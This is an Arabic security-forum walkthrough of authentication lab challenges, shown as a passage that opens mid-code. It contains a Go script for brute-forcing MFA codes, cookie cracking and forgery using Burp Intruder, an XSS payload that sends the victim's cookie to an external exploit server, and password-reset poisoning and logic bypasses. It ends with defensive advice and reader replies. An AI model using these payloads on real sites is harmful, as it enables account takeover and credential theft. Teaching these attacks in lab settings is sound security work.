    if err != nil {
        return "", err
    }
    if resp.StatusCode != 200 {
        return "", fmt.Errorf("get login2 response was not 200 (was %d)", resp.StatusCode)
    }

    bodyBytes, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return "", err
    }

    html := string(bodyBytes)

    csrfStart := strings.Index(html, csrfTag)
    if csrfStart == -1 {
        return "", errors.New("can't find csrf")
    }

    csrfStart += len(csrfTag)
    csrfEnd := csrfStart + 32
    csrf = html[csrfStart:csrfEnd]

    return csrf, nil
}

func submitMFAForm(cookie, csrf, code string) (successCookie string, err error) {
    data := strings.NewReader(fmt.Sprintf("csrf=%s&mfa-code=%s", csrf, code))
    req, _ := http.NewRequest(http.MethodPost, labURL+"/login2", data)
    req.Header.Add("Cookie", cookie)
    resp, err := client.Do(req)

    if err != nil {
        return "", err
    }
    if resp.StatusCode != 302 {
        return "", nil
    }

    cookieSet := resp.Header.Get("Set-Cookie")
    cookie = cookieSet[8:40]

    return cookie, nil
}

بتطلعلنا الكوكي بنحطها وبنعمل ريفريش بنحل التحدي

​

---

Brute-forcing a stay-logged-in cookie​

قبل ما نحل التحدي خلينا نحكي عن موضوع مهم بتعلق بأمان المواقع وخصوصا كيف ممكن المهاجمين يستغلوا ثغرات بأنظمة المصادقة authentication عشان يدخلوا على حسابات المستخدمين

أولاً: الثغرات بأنظمة المصادقة الإضافية​

معظم المواقع بتكون فيها خيارات زيادة عن تسجيل الدخول العادي، زي تغيير الباسوورد أو إعادة تعيينه إذا نسيتوه. هاي الخيارات الإضافية ممكن يكون فيها ثغرات إذا ما تم تأمينها بشكل ممتاز، طبعاً المهاجمين بفكروا فيها اكيد

المواقع عادةً بتكون حريصة على تأمين صفحة تسجيل الدخول، لكن ممكن ينسوا يعملوا نفس الحرص على الصفحات الثانية زي صفحة تغيير الباسوورد أو إعادة تعيينه وهون المشكلة إذا المهاجم قدر يعمل حساب خاص فيه، بكون عنده فرصة يدرس هاي الصفحات الإضافية ويشوف إذا في ثغرات ممكن يستغلها فيها

ثانياً: خاصية "خليني مسجل دخول"​

كثير من المواقع بتعطيك خيار إنك تضل مسجل دخول حتى لو قفلت المتصفح هاي الخاصية بتكون عادةً عبارة عن خيار زي "خليني مسجل دخول" أو "تذكرني"

كيف بتشتغل هاي الخاصية؟
الموقع بعمل ما يسمى token أو علامة، وبخزنها بملفات الكوكيز cookies اللي بتكون مخزنة عندك على الجهاز
إذا المهاجم قدر ياخد الـ token، بقدر يدخل على الحساب بدون ما يحتاج باسوورد أو أي مصادقة تانية

المشكلة إنه بعض المواقع بتكون بتعمل الـ token بطريقة سهلة التوقع يعني مثلاً بتكون مبنية على اسم المستخدم وتاريخ معين أو حتى جزء من الباسوورد إذا المهاجم عنده حساب خاص فيه، ممكن يدرس الكوكي الخاص فيه ويحاول يفهم كيف بتكون مبنية، وبعدين يحاول يخمن كوكيز حسابات تانية

ثالثاً: التشفير مش دايماً الحل​

بعض المواقع بتكون بتفكر إنها إذا شفرت الكوكي، بكون صعب على المهاجم يخمنه لكن المشكلة إن التشفير إذا ما كان قوي، بكون عديم الفايدة. مثلاً، بعض المواقع بتكون بتستخدم encode بسيط زي Base64، وهاد الاشي ما بعطي أي حماية. حتى إذا استخدموا الـ hashing بدون ما يضيفوا الـ salt قيمة عشوائية بكون المهاجم قادر يخمن الكوكي إذا عرف خوارزمية التشفير

بنلقط طلب تسجيل الدخول وبنتأكد اننا مفعلين خيار حفض تسجيل الدخول

بعدها بنعمل فورورد وبظهرلنا انه الـ stay-logged-in مبين انه اشي معموله encode بنرسله على الـ Decoder

بنجرب نعمله decode بظهرلنا

​

بنوخذ القيمه الثانيه وبنحطها على موقع Hashes.com بطلعلنا انه عامل هاش للباسورد

​

يعني بنستنتج انه هاي هي طريقه انشاء الـ stay-logged-in

base64(username + ':' + md5HashOfPassword)

بنلقط الطلب اللي بعد طلب ادخال كلمه السر واسم المستخدم وبنبعثه على الـ intruder

بنمحي الـ session
بنغير اسم المستخدم اللي بدنا نفوت على حسابه
بنحدد على النص اللي بدنا نعمل عليه بروت فورس

​

الفكره هسا بدنا كل ادخال يجربه يكون هو عباره عن معموللهم Base64 (اسم المستخدم : الباسورد(معموللها هاشMd5))

بننزل تحت عند الـ بنضيف
اول قاعده اللي هي الهاش Md5 عشان يعمل هاش للباسورد
ثاني قاعده اللي هي اسم المستخدم ( :carlos ) عشان يضيفها لكل باسورد عمللها هاش قبل
ثالث قاعده بعمللهم Base64

بصيرن هيك

​

بس يخلص الهجوم بنعمل فرز حسب الـ Status code بطلعلنا بايلود بنروح بنعمله عكس الخطوات اللي عملناهن بنعمله اول اشي Decode بعدها بنوخذ كلمه السر على موقع Hashes.com بتطلعلنا الباسورد

​

​

​

---

Offline password cracking​

حتى بدون حساب بإمكاننا نستغل ثغرات زي XSS عشان نسرق كوكي الـ "تذكرني" الخاص بمستخدم ثاني وبنحلل طريقة بناء الكوكي

إذا الموقع مفتوح المصدر:
تفاصيل بناء الكوكي ممكن تكون موثقة بشكل علني، وطبعا بسهل علينا نفهمها ونستغلها

الحصول على الباسوورد:
في حالات نادرة، ممكن نحصل على الباسوورد بشكل مباشر من الكوكي حتى لو كانت مشفرة، خاصة إذا الباسوورد من قوائم مشهورة والهاش بدون salt

أهمية الـ Salt
الـ Salt بمنع المهاجم من استخدام قوائم الهاشات الجاهزة زي موقع ذكرناه قبل شوي Hashes.com لأنه بعمل الهاش فريد حتى لو الباسوورد مشفر مسبقاً


بنتصفح الموقع بنلاقي في اماكن ادخال معلومات
بنظغط على view post

بنلاقي في مكان لادخال بيانات بنجرب سكريبت بسيط وبنرسله

​

بنلاحظ انه تنفذ

​

بيجي دورنا هون بنكتب سكريبت يرسللنا الكوكي الخاصه بالمستخدم لما يفوت على الصفحه

<script>document.location='https://exploit-0ae20079042c9758813647e8014a00b3.exploit-server.net/exploit'+document.cookie</script>

بنروح على صفحة الـ exploit اللي بنخلي السكريبت يبعثلنا هناك الكوكي

​

بنحط السكريبت

​

بس نبعثه بنروح على صفحتنا اللي هي للمهاجم وبنفوت على الـ Acceis log

بنلاقي

​

بناخذ النص Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz وبنعمله الخطوات اللي عملناهن بالتحدي السابق وبتطلعلنا الباسورد

​

بنمحي الحساب هيك بنكون حلينا السؤال

​

​

---

Password reset broken logic​

إعادة تعيين كلمات المرور:​

طبعاً كلنا بننسى كلمات السر من وقت لثاني
فمعظم المواقع بتكون بتوفر طريقة لإعادة تعيينها المشكلة إنه لما المستخدم ينسى كلمة المرور الموقع بكون مضطر يعتمد على طرق تانية عشان يتأكد إنه الشخص اللي بعيد تعيينها هو صاحب الحساب أصلاً وهون بتكون الدنيا حساسة لأن لو الطريقة ما كانت مأمنه كويس، ممكن المهاجمين يستغلوها

الطرق الشائعة لإعادة التعيين:​

إرسال كلمة مرور جديدة على الإيميل:​

بعض المواقع بتكون بتولّد كلمة مرور جديدة وبترسلها للإيميل تبعك
المشكلة:
الإيميل مش دايماً آمن، خاصة لو بتستخدم شبكات وايفاي عامة
لو المهاجم قدر يعترض الإيميل بكون عنده كلمة المرور الجديدة
كمان، صندوق الوارد مش مصمم لتخزين معلومات سرية، وكثير من الناس بتكون بتنسخ الإيميلات بين أجهزتها بشكل تلقائي

​

إرسال رابط إعادة تعيين:​

الطريقة هاي بتكون أحسن، حيث الموقع بعملك رابط خاص لإعادة تعيين كلمة المرور

المشكلة لو الرابط سهل التخمين:
مثلاً، لو الرابط بكون زي هاد:

http://example.com/reset-password?user=your-username

هون بنقدر نغير اسم المستخدم وبنعيد تعيين كلمة مرور أي حد بدنا اياه

الحل الأحسن:
استخدام token عشوائي وصعب التخمين بالرابط، زي هاد :

http://example.com/reset-password?token=abcd1234random

التوكن هاد بكون لازم يتفعل من السيرفر، ويتأكد إنه مربوط بالحساب الصح، وبتم حذفه بعد ما تعيد تعيين كلمة المرور

الأخطاء الشائعة:​

بعض المواقع ما بتفعل التوكن مرة ثانية لما المستخدم يقدم نموذج إعادة التعيين
يعني المهاجم ممكن يدخل على صفحة إعادة التعيين من حسابه يحذف التوكن ويستخدم الصفحة عشان يعيد تعيين كلمة مرور حد تاني

النقاط المهمة:​

إعادة تعيين كلمة المرور بتكون حساسة لو ما تم تأمينها كويس ممكن تفتح أبواب للهجوم
إرسال كلمة مرور جديدة على الإيميل مش آمن خاصة لو الكلمة ما انتهت صلاحيتها بسرعة
استخدام روابط فيها توكن عشوائي بكون أفضل التوكن وطبعا لازم يكون صعب التخمين وينحذف بعد الاستخدام
تفعيل التوكن مرة ثانية لما المستخدم يقدم النموذج عشان نتأكد إنه ما حد استغله


بنعمل نسيت كلمه المرور وبنحط اسم المستخدم
بوصلنا ايميل على البريد الالكتروني
بنفتحه وبنلقط طلب كلمه السر الجديده

​

بنلاحظ انه قيمه التوكن متكرره بنجرب نقيم التوكن وبنحط مثلا shell فوق وتحت

​

وبنغير الاسم لـ carlos وبنرجع الطلب على الصفحة بنلاحظ انه رجعنا على الصفحة الرئيسيه

بنجرب نسجل دخول باستخدام الـ carlos والباس اللي حطيناه

​

---

Password reset poisoning via middleware​

إذا تم إنشاء عنوان URL في رسالة البريد الإلكتروني لإعادة التعيين بشكل تلقائي ف ممكن يكون هاد عرضة لخطر إعادة تعيين كلمة السر
بهاي الحاله بامكاننا نسرق الـ token الخاص بمستخدم ثاني وبنستخدمه لتغيير كلمة المرور الخاصة فيه

اول اشي بنشغل الـ FoxyProxy وبنعمل اعاده تعيين كلمه السر (طريقه احسن عشان نوفر وقت وبنلاقي كل الطلبات بالـ HTTP History

​

الموقع بسمح بتغيير الرابط اللي بتم إرساله بإيميل إعادة تعيين كلمة المرور باستخدام هيدر X-Forwarded-Host

اول اشي بنضيف هيدر X-Forwarded-Host وقيمته بتكون URL السيرفر الخاص فينا الـ Exploit Server
ثاني اشي بنغير اسم المستخدم لـ carlos وبنرسل الطلب

يصير هيك

بنروح على الـ Access Log بالـ Exploit Server بنلاقي في ريكويست فيه توكن temp-forgot-password-token من الطلب اللي استقبله وبنستخدمه عشان نعيد تعيين كلمة مرور كارلوس
بعدها بنسجل دخول بحساب كارلوس باستخدام كلمة المرور الجديدة

هاي هي فكره التحدي عندي مشكله انه ما بعرضلي الطلب

​

لكن طريقه حله واضحه

---

Password brute-force via password change​

تغيير كلمة المرور:​

لما تكون بدك تغير كلمة السر الخاصه فيك الموقع بطلب منك تدخل كلمة السر الحاليه وبعدها بتدخل الكلمة الجديدة مرتين عشان تتأكد إنك ما دخلتها غلط
الصفحة اللي بتستخدمها لتغيير كلمة المرور بتكون بتعتمد على نفس الطريقة اللي بتستخدمها صفحة تسجيل الدخول عشان تتأكد إن اسم المستخدم وكلمة المرور الحالية صح

​

المشاكل الأمنية بصفحة تغيير كلمة المرور:​

الصفحة هاي ممكن يكون فيها ثغرات أمنية إذا ما كانت مؤمنة بشكل جيد

أهم مشكلة:
لو الصفحة بتكون بتسمح لأي حد يغير كلمة السر بدون ما يكون مسجل دخول كالمستخدم الأصلي
مثلاً لو اسم المستخدم بكون موجود بحقل مخفي hidden field بالصفحة هيك بنكون بنقدر نغير قيمة الحقل هاد ونستهدف أي مستخدم ثاني

​

كيف ممكن نستغل هاي الثغرة؟​

بنقدر نعمل Username Enumeration وبنحاول نخمن كلمات السر باستخدام هجمات الـ Brute-force

النقاط المهمة:
صفحة تغيير كلمة السر بتكون حساسة:
لو ما كانت مأمنة كويس ممكن تفتح أبواب للهجوم

عدم السماح بتغيير كلمة المرور بدون تسجيل دخول:
لازم نضمن إن الشخص اللي بغير كلمة المرور هو المالك الحقيقي للحساب

تأمين الحقول المخفية:
لو في أي بيانات بتكون مخفية في الصفحة (زي اسم المستخدم)، بكون لازم نتأكد إنها مش قابلة للتعديل من قبل المهاجم

اول اشي بنسجل دخول بحسابنا وبنحاول نغير كلمه السر وبنلقط الطلب

بنغير لاسم المستخدم اللي بدنا نطلعله كلمه السر وبنرسل الطلب على الـ Intruder

لما نجرب نرسل طلب بكلمه السر تكون صح بيجي وبقارن الكلمات اذا بشبهو بعض بغير كلمه السر للمستخدم
لكن لو كلمه السر خطأ لو كتبنا الكلمه الجديده والقديمه مختلفات بعطينا انه كلمه السر غلط


يعني بدنا نجرب بقائمه كلمات السر على كل الاحتمالات للباسورد ونحط بمكان كلمه السر القديمه والجديده نص مختلف يعني
اذا طلعت كلمه السر من القائمه صح بطبعلنا انه كلمه السر الجديده مش متشابه New passwords do not match
اذا طلعت كلمه السر من القائمه غلط بطبعلنا انه Current Password in incorrect

​

في حاله حطينا كلمه السر صح والادخالين لكلمات السر صح هيك برجعلنا

​

في حاله حطينا كلمه السر خطأ والادخالين شو ما كانو ما رح يهم بطلعنا من الحساب

​

في حاله دخلنا كلمه السر صح والادخالين غير متشابهات هيك بطلعلنا

​

حاولت اكمل الاب لكن يبدو انو استفزني شوي وراح اتركه بحله بكره على رواق ان شاء الله عزيزي المتابع
ما اظن حد يوصل لهون اليوم لانو الموضوع طويل وجميل اتمنى اني فدتكم

---

كيف تحمي أنظمة المصادقة (Authentication) في موقعك؟​

التعامل بحذر مع بيانات المستخدم:​

حتى لو كان نظام المصادقة قوي،ممكن يضعف إذا تم تسريب بيانات الدخول (زي اسم المستخدم وكلمة المرور)
النصائح:
ما ترسل أي بيانات دخول عبر اتصالات غير مشفرة (مثل HTTP)
تأكد من استخدام HTTPS لجميع طلبات الدخول وعمل تحويل تلقائي من HTTP لـ HTTPS
تأكد من عدم تسريب أسماء المستخدمين أو الإيميلات في الصفحات العامة أو الردود (HTTP Responses)

لا تعتمد على المستخدمين في الأمان:
المستخدمين بدوروا على طرق لتوفير المجهود، حتى لو كان على حساب الأمان
النصائح:
نفّذ سياسة قوية لكلمات المرور
استخدم أدوات فحص قوة كلمة المرور (مثل مكتبة zxcvbn) عشان تساعد المستخدمين في اختيار كلمات مرور قوية
ارفض كلمات المرور الضعيفة واسمح فقط بالكلمات القوية

​

منع معرفة أسماء المستخدمين (Username Enumeration):​

إذا المهاجم عرف إن مستخدم معين موجود في النظام، بكون أسهل عليه يكسر الحساب
النصائح:
استخدم رسائل خطأ عامة ومتطابقة لكل محاولة دخول، سواء كان اسم المستخدم صحيح أو لا
تأكد من إرجاع نفس رمز الحالة (HTTP Status Code) لكل طلبات الدخول
اجعل أوقات الاستجابة متشابهة في جميع السيناريوهات

حماية قوية ضد هجمات القوة العمياء (Brute-Force):​

هجمات القوة العمياء بتكون سهلة التنفيذ، فـ لازم نحمي الموقع منها
النصائح:
نفّذ نظام لتقييد عدد المحاولات بناءً على الـIP
استخدم اختبارات CAPTCHA بعد عدد معين من المحاولات الفاشلة
التأكد من صعوبة تغيير الـIP الظاهري للمهاجم

فحص منطق التحقق (Verification Logic):​

الأخطاء البسيطة في الكود ممكن تفتح ثغرات أمنية كبيرة.
النصائح:
راجع منطق التحقق بشكل دوري للتأكد من عدم وجود أخطاء
تأكد من أن كل عمليات التحقق بتكون سليمة ولا يمكن تجاوزها

​

لا تنسى الوظائف الإضافية:​

الوظائف الإضافية زي إعادة تعيين كلمة المرور أو تغييرها بتكون هدف للمهاجمين
النصائح:
تأكد من تأمين كل الوظائف المتعلقة بالمصادقة، وخصوصاً إذا كان المهاجم بقدر يعمل حسابه الخاص
اعتبر إعادة تعيين كلمة المرور جزء مهم من نظام الأمان، وليس مجرد وظيفة ثانوية

​

استخدام المصادقة متعددة العوامل (Multi-Factor Authentication - MFA):​

المصادقة متعددة العوامل بتكون أكثر أماناً من الاعتماد على كلمة المرور فقط
النصائح:
تجنب إرسال رموز التحقق عبر الإيميل، لأنها بتكون مجرد نسخة مطولة من المصادقة الأحادية
استخدم تطبيقات أو أجهزة مخصصة لتوليد رموز التحقق (مثل Google Authenticator)
تأكد من أن منطق التحقق في نظام الـ MFA بكون سليم ولا يمكن تجاوزه

 

[أبو المعاليأبو المعالي is verified member.]

الله يعطيك ألف عافية عبود

حسنا على سبيل المثال أنا لست بالشخص الجاهل لأجعل كلمة سري بسيطة أو اسم حساب المسؤول سهل مثل admin او غيره

فكمخترق ما الإجراء الذي تحاول فعله لتكتشف كلمة سري أو على الأقل تقترب منها

و لكن التفكير من ناحية زيادة أو نقصان وقت إستجابه الموقع عند إدخال اسم المستخدم و كلمة السر شيء عجيب حقا و لكن منطقي و يجب أن يأخذ بالحسبان

فمقال مميز كعادتك
بالتوفيق

 

[STORMSTORM is verified member.]

بسم الله ما شاء الله لا قوة الا بالله
موضوع رائع وجبار حبيبي عبود ومتميز كالعادة
ننتظر جديد ابداعاتك دائماً
تحياتي

 

[3b0-0d3b0-0d is verified member.]

الله يعطيك ألف عافية عبود

حسنا على سبيل المثال أنا لست بالشخص الجاهل لأجعل كلمة سري بسيطة أو اسم حساب المسؤول سهل مثل admin او غيره

فكمخترق ما الإجراء الذي تحاول فعله لتكتشف كلمة سري أو على الأقل تقترب منها

و لكن التفكير من ناحية زيادة أو نقصان وقت إستجابه الموقع عند إدخال اسم المستخدم و كلمة السر شيء عجيب حقا و لكن منطقي و يجب أن يأخذ بالحسبان

فمقال مميز كعادتك
بالتوفيق

الله يعافيك يارب واشكرك على اثراء موضوع مهم
تم نقل الجواب

[ فكرة ] الموضوع 'منهجية تفكير الهاكر لإكتشاف كلمة مرور اي شخص✨'

16 يناير 2025

بسم الله الرحمن الرحيم

خلينا نفكر اني مخترق حقيقي وشخص شرير
اول اشي بدنا نتأكد منه هو انه كـ مخترق بدي احصل على هدفي بأي طريقه ممكنه (شو ما كلفني)
ثاني اشي بدي اشوف كل الطرق اللي بتأدي الك كـ شخص وكل الطرق اللي تؤدي الك كـ شخص الكتروني

1. بجمع معلومات عنك، اسمك، ايميلك، تاريخ ميلادك، وأسماء أشخاص مقرّبين منك، واحاول اخمن كلمه السر الخاصه فيك (طبعا الموضوع مش بسهوله الحكي)

ما قدرت .. خلص ؟؟
لا بنرفع الليفل

مراجع مفيده بموضوع جمع المعلومات ...

• 3b0-0d
• الردود: 5
• المنتدى: أقسام الأمن الهجومي [ Offensive Security ]

• 

 

[3b0-0d3b0-0d is verified member.]

بسم الله ما شاء الله لا قوة الا بالله
موضوع رائع وجبار حبيبي عبود ومتميز كالعادة
ننتظر جديد ابداعاتك دائماً
تحياتي

الله يبارك فيك ويوفقك, اشكرك على كلامك ودعمك الجميل

 

[BAYANBAYAN is verified member.]

واو! ما شاء الله ، ربنا يبارك بالجهود الجبارة هاي.

حرفيًّا تعبت وأنا بعمل سكرول!